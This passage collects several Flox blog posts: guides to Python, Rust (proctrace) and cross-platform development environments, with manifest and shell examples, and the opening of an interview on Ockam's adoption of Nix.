virtual environment export PYTHON_DIR="$FLOX_ENV_CACHE/python" if [ ! -d "$PYTHON_DIR" ]; then echo "Creating python virtual environment in $PYTHON_DIR" python -m venv "$PYTHON_DIR" fi # Quietly activate venv and install packages in a subshell so # that the venv can be freshly activated in the profile section. ( source "$PYTHON_DIR/bin/activate" pip install -r "$FLOX_ENV_PROJECT/requirements.txt" --quiet ) ''' ``` And here's the one for `pyproject.toml`: ``` [install] python3.pkg-path = "python3" [hook] on-activate = ''' # Setup a Python virtual environment export PYTHON_DIR="$FLOX_ENV_CACHE/python" if [ ! -d "$PYTHON_DIR" ]; then echo "Creating python virtual environment in $PYTHON_DIR" python -m venv "$PYTHON_DIR" fi # Quietly activate venv and install packages in a subshell so # that the venv can be freshly activated in the profile section. ( source "$PYTHON_DIR/bin/activate" # install the dependencies for this project based on pyproject.toml # pip install -e . --quiet ) ''' ``` The manifests differ in the sense that they use different _methods_ to install packages, but otherwise they're the same. Since the previous section featured `pyproject.toml`, let's use `requirements.txt` this time. Offscreen, Flox did its thing and installed the package versions specified in the `glances` repo's `requirements.txt` file. Here's the final tally of what's installed in our environment, in addition to Flox's `python3` package: ``` (python) flox [glances] daedalus@askesis:~/dev/glances$ pip list Package Version ---------- ------- defusedxml 0.7.1 packaging 24.1 pip 24.2 psutil 6.0.0 ``` All the dependencies we need to install Glances are built into the environment. So let's do go ahead and kickstart the install: ``` (python) flox [glances] daedalus@askesis:~/dev/glances$ pip install . Processing /home/daedalus/dev/glances Installing build dependencies ... done Getting requirements to build wheel ... done Preparing metadata (pyproject.toml) ... done Requirement already satisfied: defusedxml in ./.flox/cache/python/lib/python3.12/site-packages (from Glances==4.2.0b4) (0.7.1) Requirement already satisfied: packaging in ./.flox/cache/python/lib/python3.12/site-packages (from Glances==4.2.0b4) (24.1) Requirement already satisfied: psutil>=5.6.7 in ./.flox/cache/python/lib/python3.12/site-packages (from Glances==4.2.0b4) (6.0.0) Building wheels for collected packages: Glances Building wheel for Glances (pyproject.toml) ... done Created wheel for Glances: filename=Glances-4.2.0b4-py3-none-any.whl size=701566 sha256=30735734985c5c1cc8060e1aa43bd71a7f6f20a5ca6612af859e19a5bb3a9ab3 Stored in directory: /tmp/pip-ephem-wheel-cache-zj18zwrq/wheels/4d/20/5d/550669b9c13a2ed08f6a46b4fc446c8f2fcfd7bb222edd1de2 Successfully built Glances Installing collected packages: Glances Successfully installed Glances-4.2.0b4 ``` Fantastic! The latest version of Glances is installed—now will it run? Let's find out: Not bad for … < 1 minute worth of work! ## Flox Takes Python Dev to the Next Level Flox makes it trivially easy to [create and share portable, reproducible Python development environments](https://flox.dev/blog/using-flox-to-create-portable-reproducible-go-environments/). Using simple declarative methods, you can define build and environment dependencies for Python, Node.js, Go, Rust, Java, or virtually any combination of languages. Plus, you can feel confident your Flox environments will run and behave the same way across all phases of your SDLC—from local development on macOS, Linux, or Windows (with WSL2), to the Linux VMs and containers you use in CI and production. It's simple to get started using Flox. [In less than five minutes](https://flox.dev/docs/), you can set up a Python dev environment on your local machine, with complete access to all of your tools, files, and resources. To share your environment, just run `git push` or `flox push`. That's all it takes! Your teammates can `git clone` or `flox pull` your environment to run it locally. [Download Flox](https://flox.dev/docs/install-flox/) today and discover how it can transform your Python workflow! ## FAQs about Flox and portable Python environments **How does Flox ensure Python environments are truly portable and reproducible?** Flox creates portable and reproducible Python environments that function identically across different operating systems: Linux, macOS, Windows (with WSL2), ARM and x86 architectures. This is achieved by leveraging deterministic builds, ensuring that every dependency and its exact version are immutably defined and cryptographically hashed. This means an environment built once will behave the same way everywhere, every time. **Can Flox integrate with pre-existing Python projects that use common dependency files?** Yes, Flox is designed to seamlessly integrate with existing Python projects. It automatically detects and can configure environments based on widely used dependency management files such as requirements.txt or pyproject.toml. This allows for a smooth transition, enabling users to quickly set up their established projects within a Flox-managed environment. **What types of Python packages are available for installation within a Flox environment?** Users can install a vast array of Python packages into a Flox environment directly from the extensive Flox Catalog, which contains tens of thousands of options. For any packages not found in the catalog, pip can be used within the activated environment to install them from PyPI. Flox prioritizes consistent installation and behavior for all managed packages. **How does Flox simplify sharing Python development environments for team collaboration?** Flox streamlines the sharing of Python development environments, enhancing team collaboration and consistency. Environments are declaratively defined, allowing developers to easily share their complete setup through version control systems. Teammates can then pull these environments, guaranteeing they get the exact same tools and dependencies, eliminating "works on my machine" issues. Title: A Real World Rust Project with Flox Source: https://flox.dev/blog/a-real-world-rust-project-with-flox/ Date: 2024-09-09 Category: guide # A Real World Rust Project with Flox See how Flox makes it easy it is to set up a real-world Rust project, complete with external tools and dependencies, using a simple manifest that works everywhere you do. One of the things that Rust is famous for is having very nice batteries-included tooling such as `rustup` and `cargo`. However, even the most ardent members of the Rust Evangelism Strike Force would admit that a pure-Rust world is not on the horizon. At some point you need to integrate with other languages, link to system libraries, or simply use other tools during the course of development. `cargo` is not designed to make this easier (or possible, in some cases) for you. This is where Flox comes in. Today we're going to look at a real-world Rust project that works across different platforms and language ecosystems. ## `proctrace` The project we're going to look at is called [`proctrace`][proctrace-github], and it's a high-level profiler I wrote specifically to debug and inspect Flox. Flox works hard to manage your shell configuration and orchestrate the processes involved in providing services to your Flox environment. Sometimes things go wrong and you need to peek under the hood. I wasn't satisfied with the tooling available (e.g. `strace` can be too low level), so I scratched my own itch and made some tooling. `proctrace` records process lifecycle events (`fork`, `exec`, `setpgid`, etc) for the process tree of a user-provided command and renders those events in a number of ways. The most interesting rendering method is as a Gantt chart via Mermaid: Figure: A Gantt chart of a process execution, including forks and execs If you'd like to learn more about the internals of `proctrace`, the challenges involved in developing it, and where it's heading next, you can read more about that [here][proctrace-blog]. ## Dependencies Here we're going to fill out the `[install]` section of the manifest by going through each of the dependencies. ### Rust `proctrace` is written in Rust and runs (processing and rendering events) on either Linux or macOS, but it only takes recordings on Linux because it uses [bpftrace][bpftrace] to collect process lifecycle events. We'll discuss `bpftrace` in more detail later. Setting up a reproducible Rust environment in Flox is a breeze: ```toml # Rust toolchain cargo.pkg-path = "cargo" cargo.pkg-group = "rust-toolchain" rustc.pkg-path = "rustc" rustc.pkg-group = "rust-toolchain" clippy.pkg-path = "clippy" clippy.pkg-group = "rust-toolchain" rustfmt.pkg-path = "rustfmt" rustfmt.pkg-group = "rust-toolchain" rust-lib-src.pkg-path = "rustPlatform.rustLibSrc" rust-lib-src.pkg-group = "rust-toolchain" libiconv.pkg-path = "libiconv" libiconv.pkg-group = "libiconv" libiconv.systems = ["aarch64-darwin"] # rust-analyzer goes in its own group because it's updated # on a different cadence from the compiler and doesn't need # to match versions rust-analyzer.pkg-path = "rust-analyzer" rust-analyzer.pkg-group = "rust-analyzer" ``` The `rust-lib-src` package installs the source code for the Rust standard library so that `rust-analyzer` can use it for diagnostics. As of Flox [v1.3.1][flox-rust-analyzer], `rust-analyzer` will automatically detect the standard library source if both are installed in your environment. The `libiconv` package is actually a dependency you probably didn't know you had, but if you've compiled Rust on macOS you probably linked against it. Here Flox is helping you make your environment more reproducible by forcing you to handle the fact that you have a hidden dependency. Also, as you can see, adding system-specific dependency is straightforward, you simply list which systems you want the package to be available on. Finally, we put all of the Rust tools from a single compiler release in a package group called `rust-toolchain`. This ensures that those packages share the same exact versions of their dependencies (down to the commit hash), which reduces download size for the environment and ensures maximum compatibility between the packages in the group. ```toml # Linker gcc.pkg-path = "gcc" gcc.systems = ["aarch64-linux", "x86_64-linux"] clang.pkg-path = "clang" clang.systems = ["aarch64-darwin"] ``` We also install linkers since some of our transitive dependencies may have `build.rs` build scripts that call linkers directly. Again, note how Flox makes setting up platform-specific dependencies trivial. ### bpftrace `bpftrace` is only available on Linux, so we'll only install it for Linux systems. ```toml bpftrace.pkg-path = "bpftrace" bpftrace.systems = ["aarch64-linux", "x86_64-linux"] ``` This is actually deceptively simple. `bpftrace` makes use of [eBPF][bpf] to instrument the Linux kernel, but subtle differences in its own dependencies (`libbpf` and `bcc`) can cause errors. Packages in the Flox Catalog are built reproducibly, so these two lines in your manifest hide the complexity of the build process while ensuring that two colleagues get the same binary built the same way. This is an important debugging aid if, for example, `bpftrace` has trouble locating type information for kernel data structures. ### manpages I use the [`clap`][clap] crate for argument parsing, and it provides a helper library called `clap_mangen` to generate manpages from the argument definitions. Since it's early days for `proctrace` there's not an installer that will install these manpages to your system, but it allows me to generate pages that I can include in the documentation site. The output of `clap_mangen` isn't markdown, so I use [`pandoc`][pandoc] to convert the manpages to markdown that can be included in the documentation site. ```toml pandoc.pkg-path = "pandoc" ``` I use a [cargo-xtask][xtask] to [generate and convert][my-xtask] the manpages. ### Documentation site The documentation site uses a framework called [Starlight][starlight], written in Typescript. Starlight isn't packaged for the Flox Catalog yet, so instead we use Flox to install Node.js and lean on the Starlight developers to provide instructions (`npm install`, `npm run dev`, etc). ```toml nodejs.pkg-path = "nodejs" ``` The documentation site can be found at [proctrace.xyz][proctrace-docs]. ## Services Flox [recently added][services-version] support for running services as part of your environment. For this project I don't need services running all the time, but when I'm working on documentation it would be nice to have the development version of the documentation site running and live reloading based on my changes. That's also trivial with Flox. ```toml [services.docs] command = "cd docs; npm run dev" ``` Now I `flox activate` to work on `proctrace` as usual, and when I need to work on the documentation I simply `flox services start` and open my browser. ## Shell hook When `cargo` compiles your code it places the compiled binary in a `target` directory. I found myself wanting to interactively test `proctrace`, but writing out `target/debug/proctrace` every time was tedious. I added a small quality of life improvement to the environment by adding the `target/debug` directory to `PATH` so that I could call `proctrace` without the `target/debug` prefix. I also added a bit of code to automatically install the Node.js dependencies for the documentation site the first time you activate the environment. ```toml [hook] on-activate = ''' export PATH="$PWD/target/debug:$PATH" if [ ! -d $PWD/docs/node_modules ]; then echo "Installing node packages..." >&2 pushd docs >/dev/null npm install popd >/dev/null fi ''' ``` This is a very small example of how you can use shell hooks in your manifest to reduce the friction of your development process. ## Run it! Ok, we have an environment, let's put it through its paces. If you have Flox installed, with a few simple commands you can download the project, build it, and run it for yourself using a process recording stored in the repository: ``` $ git clone https://github.com/zmitchell/proctrace $ cd proctrace $ flox activate flox [proctrace] $ cargo build flox [proctrace] $ proctrace render -i demo_script_ingested.log -d mermaid gantt title Process Trace dateFormat x axisFormat %S.%L todayMarker off section 310331 execs [310331] /usr/bin/env bash ./demo_script.sh :active, 0, 1ms [310331] /usr/bin/env bash ./demo_script.sh :active, 1, 1ms [310331] /usr/bin/env bash ./demo_script.sh :active, 1, 1ms [310331] bash ./demo_script.sh :active, 1, 1ms [310331] bash ./demo_script.sh :active, 1, 1ms [310331] bash ./demo_script.sh :active, 1, 1ms [310331] bash ./demo_script.sh :active, 1, 1ms [310331] bash ./demo_script.sh :active, 1, 1ms [310331] bash ./demo_script.sh :active, 1, 327ms section other [310332] :active, 2, 1ms [310333] sleep 0.25 :active, 3, 251ms [310334] curl -s -X GET example.com -o /dev/null -w %{http_code} :active, 255, 72ms [310336] :active, 328, 1ms ``` You don't need to understand that output, just copy and paste it into the [Mermaid Live Editor][mermaid-editor]. You should see something like this: Figure: A process trace as a Gantt chart What this is showing is the execution of the following script (`demo_script.sh` in the `proctrace` repository): ```bash #!/usr/bin/env bash set -euo pipefail "$(command -v printf)" "Hello, World!\n" sleep 0.25 curl_status="$(curl -s -X GET "example.com" -o /dev/null -w "%{http_code}")" "$(command -v printf)" "example.com status: %s\n" "$curl_status" ``` The numbers in square brackets are the PIDs of the processes, and the text near the PID is the command that was run by that process. Time proceeds from left to right, and each bar represents a process executing. Each new row represents a process `fork`ing to create a new process, or a process calling `exec` to execute a new program while reusing the same PID. There are some duplicate entries due to [known issues][known-issues] with either `bpftrace` itself or the `bpftrace` script used to collect events. Again, it's early days for `proctrace`, but think about what you just did! You downloaded a project you know basically nothing about, entered a development environment that was completely taken care of for you, built the project without knowing any details, then ran the tool! ## Conclusion So there you have it. This is a real project that has system-dependent requirements, integrates multiple language ecosystems, and includes development-time services. This was pretty simple to put together, but what's even nicer about this is that the process of iterating on it is ergonomic as well. Adding a package doesn't mean rebuilding the universe. It feels like how things are supposed to work, and you only realize that your current workflow has papercuts once you've tried something better. All said and done, the `manifest.toml` looks like this: ```toml version = 1 [install] # Rust toolchain cargo.pkg-path = "cargo" cargo.pkg-group = "rust-toolchain" rustc.pkg-path = "rustc" rustc.pkg-group = "rust-toolchain" clippy.pkg-path = "clippy" clippy.pkg-group = "rust-toolchain" rustfmt.pkg-path = "rustfmt" rustfmt.pkg-group = "rust-toolchain" rust-lib-src.pkg-path = "rustPlatform.rustLibSrc" rust-lib-src.pkg-group = "rust-toolchain" libiconv.pkg-path = "libiconv" libiconv.systems = ["aarch64-darwin"] # rust-analyzer goes in its own group because it's updated # on a different cadence from the compiler and doesn't need # to match versions rust-analyzer.pkg-path = "rust-analyzer" rust-analyzer.pkg-group = "rust-analyzer" # Linker gcc.pkg-path = "gcc" gcc.systems = ["aarch64-linux", "x86_64-linux"] clang.pkg-path = "clang" clang.systems = ["aarch64-darwin"] # Runtime dependencies bpftrace.pkg-path = "bpftrace" bpftrace.systems = ["aarch64-linux", "x86_64-linux"] # Extra tools cargo-nextest.pkg-path = "cargo-nextest" nodejs.pkg-path = "nodejs" pandoc.pkg-path = "pandoc" [hook] on-activate = ''' # Add target directory to path so we can call `proctrace` export PATH="$PWD/target/debug:$PATH" if [ ! -d $PWD/docs/node_modules ]; then echo "Installing node packages..." >&2 pushd docs >/dev/null npm install popd >/dev/null fi ''' [options] systems = ["aarch64-darwin", "aarch64-linux", "x86_64-linux"] [services.docs] command = "cd docs; npm run dev" ``` If this sounds interesting to you, [install Flox](https://flox.dev/docs/install-flox/) and try it out for yourself. We would love to hear your feedback and how we could make Flox work for you. [proctrace-github]: https://github.com/zmitchell/proctrace [proctrace-docs]: https://proctrace.xyz [bpftrace]: https://github.com/bpftrace/bpftrace [clap]: https://github.com/clap-rs/clap [xtask]: https://github.com/matklad/cargo-xtask [my-xtask]: https://github.com/zmitchell/proctrace/blob/a65e35054d2fb46785062f3621d2a824338254ae/xtask/src/main.rs#L35 [pandoc]: https://pandoc.org/ [starlight]: https://starlight.astro.build/ [flox-rust-analyzer]: https://github.com/flox/flox/releases/tag/v1.3.1 [services-version]: https://github.com/flox/flox/releases/tag/v1.3.0 [bpf]: https://en.wikipedia.org/wiki/EBPF [mermaid-editor]: https://mermaid.live [known-issues]: https://proctrace.xyz/guides/known-issues/ [proctrace-blog]: https://tinkering.xyz/proctrace Title: Hassle-Free Cross-Platform Dev with Flox Source: https://flox.dev/blog/hassle-free-cross-platform-dev-with-flox/ Date: 2024-09-05 Category: guide # Hassle-Free Cross-Platform Dev with Flox Flox makes it simple to create portable, cross-platform dev environments, but sometimes you also need to work around system- and architecture-specific package constraints. This article shows you how. Flox makes it simple to create portable dev environments that run the same way everywhere. Typically, Flox environments Just Work. An environment you built on your ARM-based MacBook Just Works when a teammate downloads and runs it on their Fedora-based Dell XPS x86 laptop. The same environment Just Works when it’s pushed to CI or production, whether running in an ARM-powered Amazon Linux VM, an x86 Alpine Linux container, or Ubuntu LXD instances on ARM and x86. Even better, Flox environments _always_ run platform-optimized, using native binaries and libraries, with no virtualization required. This goes for GPU acceleration, too: when you build Nvidia CUDA- or Apple Metal-aware libraries into a Flox environment, it takes advantage of GPU compute capabilities if available. In _almost_ all cases, all of this Just Works. Sometimes, however, you’ll run into a corner-case. For example, if software hasn’t been packaged for a specific operating system (OS), Flox can’t magically make it work on that OS. In the same way, Flox isn’t a hypervisor or emulator, so if software hasn’t been _compiled_ for a specific machine architecture, Flox can’t make it run on that architecture. This article guides you through the do’s and don’ts of creating portable, reproducible environments with Flox. You’ll learn how to identify and work around system- or architecture-specific package constraints, you’ll discover the powerful tools Flox gives you to manage different kinds of package, platform, or architecture-specific conflicts, and you’ll also learn about the hard limits posed by impossible situations. Ready to dig in? ## Package Conflicts in Cross-Platform Flox Environments When you’re building and installing packages for a cross-platform Flox environment, you might sometimes encounter errors caused by dependency conflicts inside your Flox environment, like when separate packages expect to install different versions of the same library to the same path. Flox’s support for [Package Groups](https://flox.dev/blog/conflict-resolution-made-easy-with-package-groups-in-flox) gives you an easy way to work around this, enabling you to segregate finicky packages by defining them in logically distinct groups. Sometimes, however, errors occur because a specified version of a package _is only available for a certain OS or machine architecture_, so it’s impossible to install it into a cross-platform environment. Thankfully, problems like this are not only rare but can almost always be resolved by selecting compatible package versions, or by segmenting packages into distinct groups based on their platform compatibility. Let’s take a look at a few textbook scenarios and how you can work around them. ## Cross-Platform Compatibility 101 Say you have a project that requires [Clang](https://github.com/llvm/llvm-project/tree/main/clang), a C, C++, and Objective-C compiler front end for the LLVM compiler. You boot your Linux laptop, `cd` into your project directory, type `flox init` to create a new environment, and `flox activate` to start it up. Now you’re ready to install `libclang` from Flox Catalog. And you might as well grab [the latest version](https://releases.llvm.org/), right? ``` daedalus@askesis:~/dev/o11y$ flox install libclang@18.1.8 ❌ ERROR: resolution failed: Resolution constraints are too tight. ``` [You’ve encountered this error before](https://flox.dev/blog/conflict-resolution-made-easy-with-package-groups-in-flox), and it’s almost always the result of package-level dependency conflicts, like when separate packages expect to install different versions of the same library to the same path in the same environment. Flox’s support for [Package Groups](https://flox.dev/blog/conflict-resolution-made-easy-with-package-groups-in-flox) gives you an easy way to work around this, enabling you to segregate finicky packages into logically distinct groups. Typically, you just need to edit the `manifest.toml` file that defines the packages in your Flox environment, segregating troublesome packages in their own (or shared) Package Groups. But this is a _fresh_ Flox environment, which means there aren’t any other packages installed into it. So there’s nothing for `libclang` v18.1.8 to conflict with. You begin to suspect you’re dealing with a different sort of problem. ``` daedalus@ethos:~/dev/o11y$ flox show libclang libclang - C language family frontend for LLVM libclang@clang-18.1.8 (aarch64-linux, x86_64-linux only) libclang@clang-16.0.6 libclang@clang-17.0.6 (aarch64-linux, x86_64-linux only) libclang@clang-11.1.0 libclang@clang-7.1.0 (aarch64-linux, x86_64-darwin, x86_64-linux only) ``` Eureka. The latest `libclang` isn’t available for macOS. But you’re on Linux, so why does this matter? Because Flox is a declarative environment manager that is biased in favor of creating [cross-platform, multi-architecture (multi-arch) environments](https://flox.dev/docs/tutorials/multi-arch-environments/?h=arch). By default, a Flox environment’s `manifest.toml` includes all supported operating systems and CPU architectures. You can find these under `[options]`: ``` [options] systems = ["aarch64-darwin", "aarch64-linux", "x86_64-darwin", "x86_64-linux"] ``` If you just need `libclang` for Linux, this is an easy enough fix: ``` [options] systems = ["aarch64-linux", "x86_64-linux"] ``` And if you need a `libclang` package that works across both Linux and macOS, you can specify v16.0.6: ``` [install] libclang.pkg-path = "libclang" libclang.version = "clang-16.0.6" ``` Congratulations: You aced Cross-Platform Compatibility 101! ## Cross-Platform Compatibility 202a Now let’s imagine that you and your team are responsible for maintaining a reverse-logistics observability (o11y) app. Your org relies on this app to monitor, log, and trace return timelines across its supply chain. Your team built this app ages ago, and hasn’t modernized it since. So you need to install specific older versions of [Grafana](https://grafana.com/), [Prometheus](https://prometheus.io/), [InfluxDB](https://www.influxdata.com/downloads/), and other components in your Flox environment. You quickly create a project directory for your o11y stack, type `flox init`, and install your packages. ``` daedalus@ethos:~/dev/apm-o11y$ flox install grafana@8.1.2 prometheus@2.27.1 grafana-loki@2.4.1 tempo@2.2.1 telegraf@1.24.3 influxdb2 ❌ ERROR: resolution failed: Resolution constraints are too tight. ``` What’s going on? Could it be that one of the packages you’re trying to install is constrained to run on one or more OSs or CPU architectures? You use `flox show` to find out, and quickly zero in on the `tempo` package: ``` daedalus@ethos:~/dev/apm-o11y$ flox show tempo tempo - High volume, minimal dependency trace storage tempo@2.5.0 tempo@2.4.2 tempo@2.4.1 tempo@2.4.0 tempo@2.3.1 tempo@2.3.0 tempo@2.2.3 tempo@2.2.2 (aarch64-linux, x86_64-linux only) tempo@2.2.1 (aarch64-linux, x86_64-linux only) tempo@2.2.0 (aarch64-linux, x86_64-linux only) tempo@2.1.1 (aarch64-linux, x86_64-linux only) tempo@2.0.1 (aarch64-linux, x86_64-linux only) tempo@2.0.0 (aarch64-linux, x86_64-linux only) tempo@1.5.0 (aarch64-linux, x86_64-linux only) tempo@1.4.1 (aarch64-linux, x86_64-linux only) tempo@1.1.0 (aarch64-linux, x86_64-linux only) tempo@1.0.1 (aarch64-linux, x86_64-linux only) tempo@0.5.0 (aarch64-linux, x86_64-linux only) tempo@0.4.0 (aarch64-linux, x86_64-linux only) ``` So `tempo` is indeed the offending package. A little research shows that your o11y app will work just fine with v2.2.3 of `tempo`, so if you use that package version, you _should_ be able to create a cross-platform Flox environment for macOS and Linux. But Flox is an incredibly versatile tool, and there’s something else you can try. Something that might let you have your proverbial cake—and eat it too. ## Cross-Platform Compatibility 202b A term like “cross-platform” is only meaningful in a context. If you use x86-64 Linux systems to build locally, but run Linux-on-ARM AWS Graviton instances in CI and production, “cross-platform” from your perspective basically means Linux packages that run reproducibly on x86-64 and aarch64 silicon. However, if your team uses Macs and you’re building apps exclusively for macOS and iOS, you just need dev environments that run on x86-64 and aarch64 Darwin. This is what “cross-platform” means for you. Both use cases are examples of what you might call “cross-platform enough” requirements. Flox offers powerful tools you can use to create “cross-platform-enough” environments. **Cross-Platform Compatibility 101** explored one of these: constraining an environment to run only on specified platforms and/or CPU architectures But another, more pragmatic option is to _constrain software packages_ so they install only on specific platforms or architectures. Let’s revisit an example from the previous section: the o11y stack that uses a legacy version (2.2.1) of [Grafana Tempo](https://github.com/grafana/tempo), the open-source tracing backend, which won’t run on macOS. One way to resolve this would be to use v2.2.3 of the `tempo` package, which is what we did in **Cross-Platform Compatibility 202a**. A less ideal option would be to edit your software manifest, delete `aarch64-darwin`, and create a duplicate o11y environment with `tempo` v2.2.3 just for your Macs . But this would involve maintaining separate Flox environments for x86-64 Linux and ARM-based Macs. That’s far from ideal. A more elegant and pragmatic solution is to define separate `tempo` packages in the same environment for Linux and Darwin. Flox makes it easy to do this using simple declarative methods: ``` [install] tempo-x86_64.pkg-path = "tempo" tempo-x86_64.version = "2.2.1" tempo-x86_64.systems = ["x86_64-linux", "x86_64-darwin"] tempo-x86_64.pkg-group = "x86_64" tempo-darwin.pkg-path = "tempo" tempo-darwin.version = "2.2.3" tempo-darwin.systems = ["aarch64-darwin", "x86_64-darwin"] tempo-darwin.pkg-group = "darwin" ``` This is a more elegant and performant solution, because it makes it possible for teammates to run native software optimized for their hardware—on Linux or Mac—without resorting to containers or VMs. ## A Graduate Seminar in Cross-Platform Compatibility In rare cases, you may encounter a different, albeit related type of cross-platform error. ``` daedalus@askesis:~/dev/o11y$ flox install tart ❌ ERROR: resolution failed: The attr_path tart is not found for all the requested systems, suggest limiting systems to (aarch64-darwin). ``` Tart is a macOS and iOS virtual machine manager (VMM) for running VMs on Apple Silicon, which means it is literally impossible for you to `flox install tart` in a default cross-platform, multi-arch Flox environment. It is also essentially impossible to install the `tart` package on anything but an ARM-based Mac. There’s no simple, scalable workaround for this problem, either: you can’t run Tart in a VM on your system, because you can’t (easily) run the ARM version of macOS in an emulator like QEMU. Basically, anything designed just for Apple’s ecosystem won’t run on platforms other than macOS and iOS. Take [CoreFoundation](https://developer.apple.com/documentation/corefoundation), Apple’s C-based framework for macOS and iOS. It's open source, but it's also tightly integrated with Apple's ecosystem. ``` daedalus@askesis:~/dev/o11y$ flox install darwin.apple_sdk.frameworks.CoreFoundation ❌ ERROR: resolution failed: The attr_path darwin.apple_sdk.frameworks.CoreFoundation is not found for all the requested systems, suggest limiting systems to (aarch64-darwin,x86_64-darwin). ``` By the same token, you can’t `flox install` Linux-specific software on bare-metal macOS. For example, the code block below contains the partial output of `flox show` for `glibc`, the GNU C Library, which is kind of like the central nervous system of Linux's software ecosystem: ``` daedalus@kakos:~/dev/kernel-panic % flox show glibc glibc - GNU C Library glibc@2.39-52 (aarch64-linux, x86_64-linux only) glibc@2.39-31 (aarch64-linux, x86_64-linux only) glibc@2.39-5 (aarch64-linux, x86_64-linux only) glibc@2.38-44 (aarch64-linux, x86_64-linux only) glibc@2.38-27 (aarch64-linux, x86_64-linux only) glibc@2.38-23 (aarch64-linux, x86_64-linux only) ``` Even though Flox has more than 20 versions of `glibc`, _none of these_ can be used with macOS. If I attempt to install `glibc` on `kakos`, an x86-64 macOS system, I get the following error: ``` daedalus@kakos:~/dev/kernel-panic % flox install glibc@2.39-52 ❌ ERROR: resolution failed: The attr_path glibc is not found for all the requested systems, suggest limiting systems to (aarch64-linux,x86_64-linux). ``` In the same way, I cannot install a package like [Darling](https://github.com/darlinghq/darling), an open source Darwin/macOS emulation layer for Linux, on macOS or iOS. ``` daedalus@kakos:~/dev/kernel-panic % flox install darling ❌ ERROR: resolution failed: The attr_path darling is not found for all the requested systems, suggest limiting systems to (x86_64-linux). ``` No amount of fussing or fiddling with Package Groups can fix these error messages, because—as Debian’s `apt` tool might put it—“you have requested an impossible situation.” It’s kind of like trying to transmute base metals into gold, like with alchemy. It just isn’t possible within the given set of constraints. ## Summing Up In most cases, creating a cross-platform, multi-arch environment with Flox is a straightforward process, especially when you don’t require specific versions of legacy software packages. If you _do_ need specific versions of packages, however, things can get more complicated, particularly [if you need to mix software from different eras](https://flox.dev/blog/conflict-resolution-made-easy-with-package-groups-in-flox). Basically, package management in Flox is an exercise in combinatorial maths. And Flox is a genius in combinatorics! But when the dependency matrix for some environments becomes large enough, there’s an increased risk of running into different kinds of package-, platform-, or architecture-specific conflicts. The good news is that Flox provides tools you can use to work around these issues, including: - Constraining Flox environments to run on a specific platform and/or architecture; - Grouping packages into isolated groups; - Defining specific versions of packages for different platforms and/or architectures. ## Different Thinking about Cross-Platform Dev Environments Flox takes the guesswork out of creating cross-platform dev environments. It’s a powerful, scalable, easy-to-use solution that builds on and extends the core capabilities of the open source Nix package manager. Flox is free to use and easy to learn. You can get started in [as few as five minutes](https://flox.dev/docs/), building on your local system, with full access to all of your tools, folders, files, and other resources. Best of all, when you `git push` or `flox push` the environments you create, your teammates and coworkers can download and run them on _their_ systems, enjoying the same experience. [Download Flox and discover the difference!](https://flox.dev/docs/install-flox/) Title: Nix in the Wild: Enterprise Nix at Ockam Source: https://flox.dev/nixinthewild/nix-in-the-wild-ockam/ Date: 2024-08-23 Category: interview # Nix in the Wild: Enterprise Nix at Ockam When Ockam needed a scalable, sustainable solution for standardizing their build environment and improving reproducibility, they found it in Nix. Mrinal Wadhwa likes to keep things simple, as befits the CTO of a technology startup called [Ockam](https://ockam.io). Ockam describes itself as “a toolkit for developers to build applications that can trust data in motion.” So when Ockam needed a scalable, sustainable solution for standardizing its build environment and improving reproducibility, Mrinal and his team looked for a solution that would be just as simple to implement, scale, and maintain. They found it in Nix, a cross-platform build and packaging platform that enables reproducible, atomic package management. Ockam settled on Nix only after an extended period of trial and error—experimenting with Bazel and Gradle, among other tools. But because Ockam uses a single code repository, or monorepo, Nix ultimately emerged as the only credible, viable choice, Mrinal maintains. “Across all of these options of monorepo-related tools, Nix has worked best for us. And I feel like a very similar set of people will go down this track: people who are building complex systems that require lots of different languages, and who expect their team to grow rapidly,” he says. ## The Need for Enterprise Nix For Mrinal and his team, using a monorepo was a proven, pragmatic way to support a polyglot programming model, allowing contributors to leverage the strengths of languages like Rust, Elixir, Swift, and Typescript to build software optimized for use case-specific requirements. On the _other_ hand, a monorepo had several drawbacks, not just because it made it more difficult to manage dependencies across dissimilar development environments, but also because it increased the complexity of Ockam’s continuous integration (CI) workflows. Ockam’s testing workflows are more complicated than most, not just because of the monorepo, but because it has to recreate common customer scenarios during testing—sometimes, using older software versions. A third challenge was growth: in a sense, Ockam was a victim of its own success. Its regular release cadence and rapid evolution had fueled uptake and attracted more than 350 community contributors. This not only accelerated development, but expanded the size and complexity of its codebase. This was good and bad, a testament both to the strength of Ockam’s community and its rapid maturation. But it also exacerbated the project’s existing dependency management and CI scaling issues. This _mostly_ virtuous circle drove Mrinal to look for solutions to all three of these problems. ## Dev Containers Are Not the Answer For many, the obvious solution would have been containers. But Mrinal and Ockam had already been down that path. In their experience, many would-be contributors balked at the complexity involved in managing and running containers, as well as the run-time resources they required. Others didn’t like that they weren’t as fast as native code. Still others couldn’t easily integrate them into their preferred workflows. After all, Mrinal points out, not everybody likes using a command-line terminal. The biggest issue, though, had to do with their _size_; with all required dependencies, Ockam’s dev container images topped out at 6GB. Having to use images of this size not only discouraged potential contributors, but also caused headaches for maintainers. “Our dev container image, which we used to call our Builder, very quickly grew to be 5 or 6 GB in size. All the dev tools, the Rust dev tools, the Elixir dev tools—_everything_ is baked into this Docker image,” he explains. “So as that thing was growing bigger and bigger, it didn't serve its purpose, because a new person is just not going to download a 5GB thing before they touch us.” ## Coming to Nix First, Mrinal and his team experimented with Bazel. Then they tried Gradle, which they liked because it was language-agnostic, but which “has its own set of challenges. It’s one of those [tools] that only a few people know how to use,” Mrinal says. Mrinal got interested in Nix when a new engineer, already proficient with the tool, built a prototype of Ockam’s build system based on it. This encouraged team members to experiment with Nix themselves. Like many technologists new to Nix, they were intimidated—at first. There was its unique [expression language](https://nixos.wiki/wiki/Overview_of_the_Nix_Language), which—even though it allows users to define and manage environments in a declarative manner—has a steep learning curve. There was its (at that point) ad-hoc installation process. And prior to the development of Flakes, there were also questions about reproducibility. “Everybody had a positive reaction to Nix as an idea, but nobody knew how to change it,” he says. So the prototype moved to the backburner while the team experimented with other tools. During this time of trial and error, a lot was happening in the Nix community. Determinate Systems introduced its [Nix installer](https://determinate.systems/), which helped standardize the Nix installation experience. And Flox and Determinate both emerged as open-core supporters of Nix, employing several prominent Nix contributors. Both companies focused on supporting Nix development while also building tools and services to make Nix more suitable for enterprise users. Collectively, these changes helped address almost all of the Ockam team’s issues with Nix. The forgotten prototype moved back to the frontburner, and Ockam’s Nix journey got underway. ## Early Results One year into this journey, Mrinal says Nix has delivered on his expectations, radically simplifying dependency management, improving reproducibility, and—not least—helping Ockam continue to grow. “It’s easing onboarding 